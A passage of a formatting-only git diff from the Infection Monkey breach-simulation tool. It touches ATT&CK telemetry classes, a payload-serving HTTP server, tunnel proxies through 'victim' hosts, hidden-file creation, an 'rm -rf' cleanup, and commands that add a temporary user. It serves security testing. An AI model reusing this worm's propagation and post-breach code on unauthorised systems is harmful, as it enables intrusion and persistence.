infection_monkey.config import WormConfiguration -__author__ = 'itamar' +__author__ = "itamar" LOG = logging.getLogger(__name__) @@ -37,23 +37,22 @@ def locked(self): def try_lock(self): assert self._mutex_handle is None, "Singleton already locked" - handle = ctypes.windll.kernel32.CreateMutexA(None, - ctypes.c_bool(True), - ctypes.c_char_p(self._mutex_name.encode())) + handle = ctypes.windll.kernel32.CreateMutexA( + None, ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name.encode()) + ) last_error = ctypes.windll.kernel32.GetLastError() if not handle: - LOG.error("Cannot acquire system singleton %r, unknown error %d", - self._mutex_name, last_error) + LOG.error( + "Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error + ) return False if winerror.ERROR_ALREADY_EXISTS == last_error: - LOG.debug("Cannot acquire system singleton %r, mutex already exist", - self._mutex_name) + LOG.debug("Cannot acquire system singleton %r, mutex already exist", self._mutex_name) return False self._mutex_handle = handle - LOG.debug("Global singleton mutex %r acquired", - self._mutex_name) + LOG.debug("Global singleton mutex %r acquired", self._mutex_name) return True @@ -78,10 +77,14 @@ def try_lock(self): sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) try: - sock.bind('\0' + self._unix_sock_name) + sock.bind("\0" + self._unix_sock_name) except socket.error as e: - LOG.error("Cannot acquire system singleton %r, error code %d, error: %s", - self._unix_sock_name, e.args[0], e.args[1]) + LOG.error( + "Cannot acquire system singleton %r, error code %d, error: %s", + self._unix_sock_name, + e.args[0], + e.args[1], + ) return False self._sock_handle = sock diff --git a/monkey/infection_monkey/telemetry/attack/attack_telem.py b/monkey/infection_monkey/telemetry/attack/attack_telem.py index ba3fae8fd2d..125906c742c 100644 --- a/monkey/infection_monkey/telemetry/attack/attack_telem.py +++ b/monkey/infection_monkey/telemetry/attack/attack_telem.py @@ -5,7 +5,6 @@ class AttackTelem(BaseTelem): - def __init__(self, technique, status): """ Default ATT&CK telemetry constructor @@ -19,7 +18,4 @@ def __init__(self, technique, status): telem_category = TelemCategoryEnum.ATTACK def get_data(self): - return { - 'status': self.status.value, - 'technique': self.technique - } + return {"status": self.status.value, "technique": self.technique} diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py index 999d8622adb..545bb47d3ef 100644 --- a/monkey/infection_monkey/telemetry/attack/t1005_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py @@ -9,14 +9,11 @@ def __init__(self, status, gathered_data_type, info=""): :param gathered_data_type: Type of data collected from local system :param info: Additional info about data """ - super(T1005Telem, self).__init__('T1005', status) + super(T1005Telem, self).__init__("T1005", status) self.gathered_data_type = gathered_data_type self.info = info def get_data(self): data = super(T1005Telem, self).get_data() - data.update({ - 'gathered_data_type': self.gathered_data_type, - 'info': self.info - }) + data.update({"gathered_data_type": self.gathered_data_type, "info": self.info}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py index 4ca9dc93c86..6a7867af2fa 100644 --- a/monkey/infection_monkey/telemetry/attack/t1035_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py @@ -8,4 +8,4 @@ def __init__(self, status, usage): :param status: ScanStatus of technique :param usage: Enum of UsageEnum type """ - super(T1035Telem, self).__init__('T1035', status, usage) + super(T1035Telem, self).__init__("T1035", status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py index 94be44a79dc..f8cdf379c71 100644 --- a/monkey/infection_monkey/telemetry/attack/t1064_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -9,12 +9,10 @@ def __init__(self, status, usage): :param status: ScanStatus of technique :param usage: Usage string """ - super(T1064Telem, self).__init__('T1064', status) + super(T1064Telem, self).__init__("T1064", status) self.usage = usage def get_data(self): data = super(T1064Telem, self).get_data() - data.update({ - 'usage': self.usage - }) + data.update({"usage": self.usage}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py index 454391da873..939e2b3e297 100644 --- a/monkey/infection_monkey/telemetry/attack/t1105_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py @@ -10,16 +10,12 @@ def __init__(self, status, src, dst, filename): :param dst: IP of machine which downloaded the file :param filename: Uploaded file's name """ - super(T1105Telem, self).__init__('T1105', status) + super(T1105Telem, self).__init__("T1105", status) self.filename = filename self.src = src self.dst = dst def get_data(self): data = super(T1105Telem, self).get_data() - data.update({ - 'filename': self.filename, - 'src': self.src, - 'dst': self.dst - }) + data.update({"filename": self.filename, "src": self.src, "dst": self.dst}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py index ffb69b698e8..816488f3b6f 100644 --- a/monkey/infection_monkey/telemetry/attack/t1107_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py @@ -8,12 +8,10 @@ def __init__(self, status, path): :param status: ScanStatus of technique :param path: Path of deleted dir/file """ - super(T1107Telem, self).__init__('T1107', status) + super(T1107Telem, self).__init__("T1107", status) self.path = path def get_data(self): data = super(T1107Telem, self).get_data() - data.update({ - 'path': self.path - }) + data.update({"path": self.path}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1197_telem.py b/monkey/infection_monkey/telemetry/attack/t1197_telem.py index 769f93823d1..c5c98a9d04b 100644 --- a/monkey/infection_monkey/telemetry/attack/t1197_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1197_telem.py @@ -12,12 +12,10 @@ def __init__(self, status, machine, usage): :param machine: VictimHost obj from model/host.py :param usage: Usage string """ - super(T1197Telem, self).__init__('T1197', status, machine) + super(T1197Telem, self).__init__("T1197", status, machine) self.usage = usage def get_data(self): data = super(T1197Telem, self).get_data() - data.update({ - 'usage': self.usage - }) + data.update({"usage": self.usage}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py index 4708c230ad3..30a0314ae90 100644 --- a/monkey/infection_monkey/telemetry/attack/t1222_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py @@ -9,12 +9,10 @@ def __init__(self, status, command, machine): :param command: command used to change permissions :param machine: VictimHost type object """ - super(T1222Telem, self).__init__('T1222', status, machine) + super(T1222Telem, self).__init__("T1222", status, machine) self.command = command def get_data(self): data = super(T1222Telem, self).get_data() - data.update({ - 'command': self.command - }) + data.update({"command": self.command}) return data diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py index 4b47d8be354..3066fe3d30f 100644 --- a/monkey/infection_monkey/telemetry/attack/usage_telem.py +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -2,7 +2,6 @@ class UsageTelem(AttackTelem): - def __init__(self, technique, status, usage): """ :param technique: Id of technique @@ -14,7 +13,5 @@ def __init__(self, technique, status, usage): def get_data(self): data = super(UsageTelem, self).get_data() - data.update({ - 'usage': self.usage - }) + data.update({"usage": self.usage}) return data diff --git a/monkey/infection_monkey/telemetry/attack/victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py index 9e277926c97..9dc812b142c 100644 --- a/monkey/infection_monkey/telemetry/attack/victim_host_telem.py +++ b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py @@ -4,7 +4,6 @@ class VictimHostTelem(AttackTelem): - def __init__(self, technique, status, machine): """ ATT&CK telemetry. @@ -14,11 +13,9 @@ def __init__(self, technique, status, machine): :param machine: VictimHost obj from model/host.py """ super(VictimHostTelem, self).__init__(technique, status) - self.machine = {'domain_name': machine.domain_name, 'ip_addr': machine.ip_addr} + self.machine = {"domain_name": machine.domain_name, "ip_addr": machine.ip_addr} def get_data(self): data = super(VictimHostTelem, self).get_data() - data.update({ - 'machine': self.machine - }) + data.update({"machine": self.machine}) return data diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py index 96e7a6288e1..e179a24df22 100644 --- a/monkey/infection_monkey/telemetry/base_telem.py +++ b/monkey/infection_monkey/telemetry/base_telem.py @@ -7,7 +7,7 @@ logger = logging.getLogger(__name__) LOGGED_DATA_LENGTH = 300 # How many characters of telemetry data will be logged -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" # TODO: Rework the interface for telemetry; this class has too many responsibilities # (i.e. too many reasons to change): diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index 0a33d148450..4f39a2145f0 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -5,7 +5,6 @@ class ExploitTelem(BaseTelem): - def __init__(self, exploiter, result): """ Default exploit telemetry constructor @@ -20,9 +19,9 @@ def __init__(self, exploiter, result): def get_data(self): return { - 'result': self.result, - 'machine': self.exploiter.host.__dict__, - 'exploiter': self.exploiter.__class__.__name__, - 'info': self.exploiter.exploit_info, - 'attempts': self.exploiter.exploit_attempts + "result": self.result, + "machine": self.exploiter.host.__dict__, + "exploiter": self.exploiter.__class__.__name__, + "info": self.exploiter.exploit_info, + "attempts": self.exploiter.exploit_attempts, } diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py index 15aa412475d..6dafa3c0cd7 100644 --- a/monkey/infection_monkey/telemetry/post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -7,7 +7,6 @@ class PostBreachTelem(BaseTelem): - def __init__(self, pba, result): """ Default post breach telemetry constructor @@ -23,11 +22,11 @@ def __init__(self, pba, result): def get_data(self): return { - 'command': self.pba.command, - 'result': self.result, - 'name': self.pba.name, - 'hostname': self.hostname, - 'ip': self.ip + "command": self.pba.command, + "result": self.result, + "name": self.pba.name, + "hostname": self.hostname, + "ip": self.ip, } @staticmethod diff --git a/monkey/infection_monkey/telemetry/scan_telem.py b/monkey/infection_monkey/telemetry/scan_telem.py index a4dac139696..c606a2cc2de 100644 --- a/monkey/infection_monkey/telemetry/scan_telem.py +++ b/monkey/infection_monkey/telemetry/scan_telem.py @@ -5,7 +5,6 @@ class ScanTelem(BaseTelem): - def __init__(self, machine): """ Default scan telemetry constructor @@ -17,7 +16,4 @@ def __init__(self, machine): telem_category = TelemCategoryEnum.SCAN def get_data(self): - return { - 'machine': self.machine.as_dict(), - 'service_count': len(self.machine.services) - } + return {"machine": self.machine.as_dict(), "service_count": len(self.machine.services)} diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py index ba112f8b913..f6bb123d452 100644 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -5,7 +5,6 @@ class ScoutSuiteTelem(BaseTelem): - def __init__(self, provider: BaseProvider): super().__init__() self.provider_data = provider @@ -14,6 +13,4 @@ def __init__(self, provider: BaseProvider): telem_category = TelemCategoryEnum.SCOUTSUITE def get_data(self): - return { - 'data': self.provider_data - } + return {"data": self.provider_data} diff --git a/monkey/infection_monkey/telemetry/state_telem.py b/monkey/infection_monkey/telemetry/state_telem.py index 9ecd53c2033..06fc1794cfa 100644 --- a/monkey/infection_monkey/telemetry/state_telem.py +++ b/monkey/infection_monkey/telemetry/state_telem.py @@ -5,7 +5,6 @@ class StateTelem(BaseTelem): - def __init__(self, is_done, version="Unknown"): """ Default state telemetry constructor @@ -18,7 +17,4 @@ def __init__(self, is_done, version="Unknown"): telem_category = TelemCategoryEnum.STATE def get_data(self): - return { - 'done': self.is_done, - 'version': self.version - } + return {"done": self.is_done, "version": self.version} diff --git a/monkey/infection_monkey/telemetry/system_info_telem.py b/monkey/infection_monkey/telemetry/system_info_telem.py index a7ac2145663..45f39520195 100644 --- a/monkey/infection_monkey/telemetry/system_info_telem.py +++ b/monkey/infection_monkey/telemetry/system_info_telem.py @@ -5,7 +5,6 @@ class SystemInfoTelem(BaseTelem): - def __init__(self, system_info): """ Default system info telemetry constructor diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py index 59eefc150c1..f519b8153c1 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py @@ -24,7 +24,7 @@ def test_victim_host_telem_send(victim_host_telem_test_instance, spy_send_teleme expected_data = { "status": STATUS.value, "technique": TECHNIQUE, - "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP} + "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, } expected_data = json.dumps(expected_data, cls=victim_host_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/trace_telem.py b/monkey/infection_monkey/telemetry/trace_telem.py index dfe3f762bd9..8beec11814c 100644 --- a/monkey/infection_monkey/telemetry/trace_telem.py +++ b/monkey/infection_monkey/telemetry/trace_telem.py @@ -9,7 +9,6 @@ class TraceTelem(BaseTelem): - def __init__(self, msg): """ Default trace telemetry constructor @@ -22,6 +21,4 @@ def __init__(self, msg): telem_category = TelemCategoryEnum.TRACE def get_data(self): - return { - 'msg': self.msg - } + return {"msg": self.msg} diff --git a/monkey/infection_monkey/telemetry/tunnel_telem.py b/monkey/infection_monkey/telemetry/tunnel_telem.py index b4e4a07e69d..05f057ee9bd 100644 --- a/monkey/infection_monkey/telemetry/tunnel_telem.py +++ b/monkey/infection_monkey/telemetry/tunnel_telem.py @@ -6,15 +6,14 @@ class TunnelTelem(BaseTelem): - def __init__(self): """ Default tunnel telemetry constructor """ super(TunnelTelem, self).__init__() - self.proxy = ControlClient.proxies.get('https') + self.proxy = ControlClient.proxies.get("https") telem_category = TelemCategoryEnum.TUNNEL def get_data(self): - return {'proxy': self.proxy} + return {"proxy": self.proxy} diff --git a/monkey/infection_monkey/transport/base.py b/monkey/infection_monkey/transport/base.py index a02d867080c..77be3f3af9b 100644 --- a/monkey/infection_monkey/transport/base.py +++ b/monkey/infection_monkey/transport/base.py @@ -5,7 +5,7 @@ class TransportProxyBase(Thread): - def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''): + def __init__(self, local_port, dest_host=None, dest_port=None, local_host=""): global g_last_served self.local_host = local_host diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index e2ed053af19..e2b3a69daaf 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -15,7 +15,7 @@ from infection_monkey.network.tools import get_interface_to_target from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time -__author__ = 'hoffer' +__author__ = "hoffer" LOG = getLogger(__name__) @@ -65,11 +65,11 @@ def do_HEAD(self): f.close() def send_head(self): - if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)): + if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)): self.send_error(500, "") return None, 0, 0 try: - f = monkeyfs.open(self.filename, 'rb') + f = monkeyfs.open(self.filename, "rb") except IOError: self.send_error(404, "File not found") return None, 0, 0 @@ -78,7 +78,7 @@ def send_head(self): end_range = size if "Range" in self.headers: - s, e = self.headers['range'][6:].split('-', 1) + s, e = self.headers["range"][6:].split("-", 1) sl = len(s) el = len(e) if sl > 0: @@ -98,33 +98,41 @@ def send_head(self): self.send_response(200) self.send_header("Content-type", "application/octet-stream") - self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size)) + self.send_header( + "Content-Range", + "bytes " + str(start_range) + "-" + str(end_range - 1) + "/" + str(size), + ) self.send_header("Content-Length", min(end_range - start_range, size)) self.end_headers() return f, start_range, end_range def log_message(self, format_string, *args): - LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(), - self.log_date_time_string(), - format_string % args)) + LOG.debug( + "FileServHTTPRequestHandler: %s - - [%s] %s" + % (self.address_string(), self.log_date_time_string(), format_string % args) + ) class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): timeout = 30 # timeout with clients, set to None not to make persistent connection - proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header + proxy_via = ( + None # pseudonym of the proxy in Via header, set to None not to modify original Via header + ) def do_POST(self): try: - content_length = int(self.headers['Content-Length']) + content_length = int(self.headers["Content-Length"]) post_data = self.rfile.read(content_length).decode() LOG.info("Received bootloader's request: {}".format(post_data)) try: dest_path = self.path - r = requests.post(url=dest_path, - data=post_data, - verify=False, - proxies=infection_monkey.control.ControlClient.proxies, - timeout=SHORT_REQUEST_TIMEOUT) + r = requests.post( + url=dest_path, + data=post_data, + verify=False, + proxies=infection_monkey.control.ControlClient.proxies, + timeout=SHORT_REQUEST_TIMEOUT, + ) self.send_response(r.status_code) except requests.exceptions.ConnectionError as e: LOG.error("Couldn't forward request to the island: {}".format(e)) @@ -144,18 +152,21 @@ def do_CONNECT(self): LOG.info("Received a connect request!") # just provide a tunnel, transfer the data with no modification req = self - req.path = "https://%s/" % req.path.replace(':443', '') + req.path = "https://%s/" % req.path.replace(":443", "") u = urlsplit(req.path) address = (u.hostname, u.port or 443) try: conn = socket.create_connection(address) except socket.error as e: - LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e)) + LOG.debug( + "HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" + % (repr(address), e) + ) self.send_error(504) # 504 Gateway Timeout return - self.send_response(200, 'Connection Established') - self.send_header('Connection', 'close') + self.send_response(200, "Connection Established") + self.send_header("Connection", "close") self.end_headers() conns = [self.connection, conn] @@ -175,8 +186,10 @@ def do_CONNECT(self): conn.close() def log_message(self, format_string, *args): - LOG.debug("HTTPConnectProxyHandler: %s - [%s] %s" % - (self.address_string(), self.log_date_time_string(), format_string % args)) + LOG.debug( + "HTTPConnectProxyHandler: %s - [%s] %s" + % (self.address_string(), self.log_date_time_string(), format_string % args) + ) class HTTPServer(threading.Thread): @@ -198,11 +211,13 @@ class TempHandler(FileServHTTPRequestHandler): @staticmethod def report_download(dest=None): - LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) - TempHandler.T1105Telem(TempHandler.ScanStatus.USED, - get_interface_to_target(dest[0]), - dest[0], - self._filename).send() + LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) + TempHandler.T1105Telem( + TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename, + ).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True @@ -229,6 +244,7 @@ class LockedHTTPServer(threading.Thread): and subsequent code will be able to continue to execute. That way subsequent code will always call already running HTTP server """ + # Seconds to wait until server stops STOP_TIMEOUT = 5 @@ -247,15 +263,18 @@ def run(self): class TempHandler(FileServHTTPRequestHandler): from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem + filename = self._filename @staticmethod def report_download(dest=None): - LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) - TempHandler.T1105Telem(TempHandler.ScanStatus.USED, - get_interface_to_target(dest[0]), - dest[0], - self._filename).send() + LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) + TempHandler.T1105Telem( + TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename, + ).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py index dac2a093864..60a995edc86 100644 --- a/monkey/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -47,7 +47,6 @@ def run(self): class TcpProxy(TransportProxyBase): - def run(self): pipes = [] l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -71,7 +70,13 @@ def run(self): pipe = SocketsPipe(source, dest) pipes.append(pipe) - LOG.debug("piping sockets %s:%s->%s:%s", address[0], address[1], self.dest_host, self.dest_port) + LOG.debug( + "piping sockets %s:%s->%s:%s", + address[0], + address[1], + self.dest_host, + self.dest_port, + ) pipe.start() l_socket.close() diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 6d261ce2b85..83e03fec2d8 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -10,25 +10,27 @@ from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.transport.base import get_last_serve_time -__author__ = 'hoffer' +__author__ = "hoffer" LOG = logging.getLogger(__name__) -MCAST_GROUP = '224.1.1.1' +MCAST_GROUP = "224.1.1.1" MCAST_PORT = 5007 BUFFER_READ = 1024 DEFAULT_TIMEOUT = 10 QUIT_TIMEOUT = 60 * 10 # 10 minutes -def _set_multicast_socket(timeout=DEFAULT_TIMEOUT, adapter=''): +def _set_multicast_socket(timeout=DEFAULT_TIMEOUT, adapter=""): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.settimeout(timeout) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((adapter, MCAST_PORT)) - sock.setsockopt(socket.IPPROTO_IP, - socket.IP_ADD_MEMBERSHIP, - struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY)) + sock.setsockopt( + socket.IPPROTO_IP, + socket.IP_ADD_MEMBERSHIP, + struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY), + ) return sock @@ -60,8 +62,8 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT): l_ips = local_ips() if default: - if default.find(':') != -1: - address, port = default.split(':', 1) + if default.find(":") != -1: + address, port = default.split(":", 1) if _check_tunnel(address, port): return address, port @@ -76,14 +78,14 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT): while True: try: answer, address = sock.recvfrom(BUFFER_READ) - if answer not in [b'?', b'+', b'-']: + if answer not in [b"?", b"+", b"-"]: tunnels.append(answer) except socket.timeout: break for tunnel in tunnels: - if tunnel.find(':') != -1: - address, port = tunnel.split(':', 1) + if tunnel.find(":") != -1: + address, port = tunnel.split(":", 1) if address in l_ips: continue @@ -135,28 +137,34 @@ def run(self): LOG.info("Machine firewalled, listen not allowed, not running tunnel.") return - proxy = self._proxy_class(local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port) - LOG.info("Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s", - proxy.__class__.__name__, - self.local_port, - self._target_addr, - self._target_port) + proxy = self._proxy_class( + local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port + ) + LOG.info( + "Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s", + proxy.__class__.__name__, + self.local_port, + self._target_addr, + self._target_port, + ) proxy.start() while not self._stopped: try: search, address = self._broad_sock.recvfrom(BUFFER_READ) - if b'?' == search: + if b"?" == search: ip_match = get_interface_to_target(address[0]) if ip_match: - answer = '%s:%d' % (ip_match, self.local_port) - LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer) + answer = "%s:%d" % (ip_match, self.local_port) + LOG.debug( + "Got tunnel request from %s, answering with %s", address[0], answer + ) self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT)) - elif b'+' == search: + elif b"+" == search: if not address[0] in self._clients: LOG.debug("Tunnel control: Added %s to watchlist", address[0]) self._clients.append(address[0]) - elif b'-' == search: + elif b"-" == search: LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) self._clients = [client for client in self._clients if client != address[0]] @@ -169,7 +177,7 @@ def run(self): while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) - if b'-' == search: + if b"-" == search: LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) self._clients = [client for client in self._clients if client != address[0]] except socket.timeout: @@ -187,7 +195,7 @@ def set_tunnel_for_host(self, host): return ip_match = get_interface_to_target(host.ip_addr) - host.default_tunnel = '%s:%d' % (ip_match, self.local_port) + host.default_tunnel = "%s:%d" % (ip_match, self.local_port) def stop(self): self._stopped = True diff --git a/monkey/infection_monkey/utils/auto_new_user.py b/monkey/infection_monkey/utils/auto_new_user.py index bc2c9452b25..26c1c837c5e 100644 --- a/monkey/infection_monkey/utils/auto_new_user.py +++ b/monkey/infection_monkey/utils/auto_new_user.py @@ -18,7 +18,7 @@ class AutoNewUser(metaclass=abc.ABCMeta): ... # Logged off and deleted ... - """ + """ def __init__(self, username, password): self.username = username diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py index 40a70ce5817..2ead5a837ba 100644 --- a/monkey/infection_monkey/utils/environment.py +++ b/monkey/infection_monkey/utils/environment.py @@ -7,7 +7,7 @@ def is_64bit_windows_os(): """ Checks for 64 bit Windows OS using environment variables. """ - return 'PROGRAMFILES(X86)' in os.environ + return "PROGRAMFILES(X86)" in os.environ def is_64bit_python(): diff --git a/monkey/infection_monkey/utils/hidden_files.py b/monkey/infection_monkey/utils/hidden_files.py index 863d1a277ed..cc973cc5ebe 100644 --- a/monkey/infection_monkey/utils/hidden_files.py +++ b/monkey/infection_monkey/utils/hidden_files.py @@ -1,11 +1,16 @@ import subprocess from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.linux.hidden_files import (get_linux_commands_to_delete, get_linux_commands_to_hide_files, - get_linux_commands_to_hide_folders) -from infection_monkey.utils.windows.hidden_files import (get_windows_commands_to_delete, - get_windows_commands_to_hide_files, - get_windows_commands_to_hide_folders) +from infection_monkey.utils.linux.hidden_files import ( + get_linux_commands_to_delete, + get_linux_commands_to_hide_files, + get_linux_commands_to_hide_folders, +) +from infection_monkey.utils.windows.hidden_files import ( + get_windows_commands_to_delete, + get_windows_commands_to_hide_files, + get_windows_commands_to_hide_folders, +) def get_commands_to_hide_files(): @@ -21,6 +26,9 @@ def get_commands_to_hide_folders(): def cleanup_hidden_files(is_windows=is_windows_os()): - subprocess.run(get_windows_commands_to_delete() if is_windows # noqa: DUO116 - else ' '.join(get_linux_commands_to_delete()), - shell=True) + subprocess.run( + get_windows_commands_to_delete() + if is_windows # noqa: DUO116 + else " ".join(get_linux_commands_to_delete()), + shell=True, + ) diff --git a/monkey/infection_monkey/utils/linux/hidden_files.py b/monkey/infection_monkey/utils/linux/hidden_files.py index 468318cf872..62e43adf51a 100644 --- a/monkey/infection_monkey/utils/linux/hidden_files.py +++ b/monkey/infection_monkey/utils/linux/hidden_files.py @@ -1,34 +1,28 @@ -HIDDEN_FILE = '$HOME/.monkey-hidden-file' -HIDDEN_FOLDER = '$HOME/.monkey-hidden-folder' +HIDDEN_FILE = "$HOME/.monkey-hidden-file" +HIDDEN_FOLDER = "$HOME/.monkey-hidden-folder" def get_linux_commands_to_hide_files(): return [ - 'touch', # create file + "touch", # create file + HIDDEN_FILE, + "&&" 'echo "Successfully created hidden file: {}" |'.format(HIDDEN_FILE), # output + "tee -a", # and write to file HIDDEN_FILE, - '&&' - 'echo \"Successfully created hidden file: {}\" |'.format(HIDDEN_FILE), # output - 'tee -a', # and write to file - HIDDEN_FILE ] def get_linux_commands_to_hide_folders(): return [ - 'mkdir', # make directory + "mkdir", # make directory HIDDEN_FOLDER, - '&& touch', # create file - '{}/{}'.format(HIDDEN_FOLDER, 'some-file'), # random file in hidden folder - '&& echo \"Successfully created hidden folder: {}\" |'.format(HIDDEN_FOLDER), # output - 'tee -a', # and write to file - '{}/{}'.format(HIDDEN_FOLDER, 'some-file') # random file in hidden folder + "&& touch", # create file + "{}/{}".format(HIDDEN_FOLDER, "some-file"), # random file in hidden folder + '&& echo "Successfully created hidden folder: {}" |'.format(HIDDEN_FOLDER), # output + "tee -a", # and write to file + "{}/{}".format(HIDDEN_FOLDER, "some-file"), # random file in hidden folder ] def get_linux_commands_to_delete(): - return [ - 'rm', # remove - '-rf', # force delete recursively - HIDDEN_FILE, - HIDDEN_FOLDER - ] + return ["rm", "-rf", HIDDEN_FILE, HIDDEN_FOLDER] # remove # force delete recursively diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py index 34becb8f715..9144a24ec9c 100644 --- a/monkey/infection_monkey/utils/linux/users.py +++ b/monkey/infection_monkey/utils/linux/users.py @@ -10,22 +10,20 @@ def get_linux_commands_to_add_user(username): return [ - 'useradd', # https://linux.die.net/man/8/useradd - '-M', # Do not create homedir - '--expiredate', # The date on which the user account will be disabled. - datetime.datetime.today().strftime('%Y-%m-%d'), - '--inactive', # The number of days after a password expires until the account is permanently disabled. - '0', # A value of 0 disables the account as soon as the password has expired - '-c', # Comment - 'MONKEY_USER', # Comment - username] + "useradd", # https://linux.die.net/man/8/useradd + "-M", # Do not create homedir + "--expiredate", # The date on which the user account will be disabled. + datetime.datetime.today().strftime("%Y-%m-%d"), + "--inactive", # The number of days after a password expires until the account is permanently disabled. + "0", # A value of 0 disables the account as soon as the password has expired + "-c", # Comment + "MONKEY_USER", # Comment + username, + ] def get_linux_commands_to_delete_user(username): - return [ - 'deluser', - username - ] + return ["deluser", username] class AutoNewLinuxUser(AutoNewUser): @@ -41,18 +39,30 @@ def __init__(self, username, password): super(AutoNewLinuxUser, self).__init__(username, password) commands_to_add_user = get_linux_commands_to_add_user(username) - logger.debug("Trying to add {} with commands {}".format(self.username, str(commands_to_add_user))) - _ = subprocess.check_output(' '.join(commands_to_add_user), stderr=subprocess.STDOUT, shell=True) + logger.debug( + "Trying to add {} with commands {}".format(self.username, 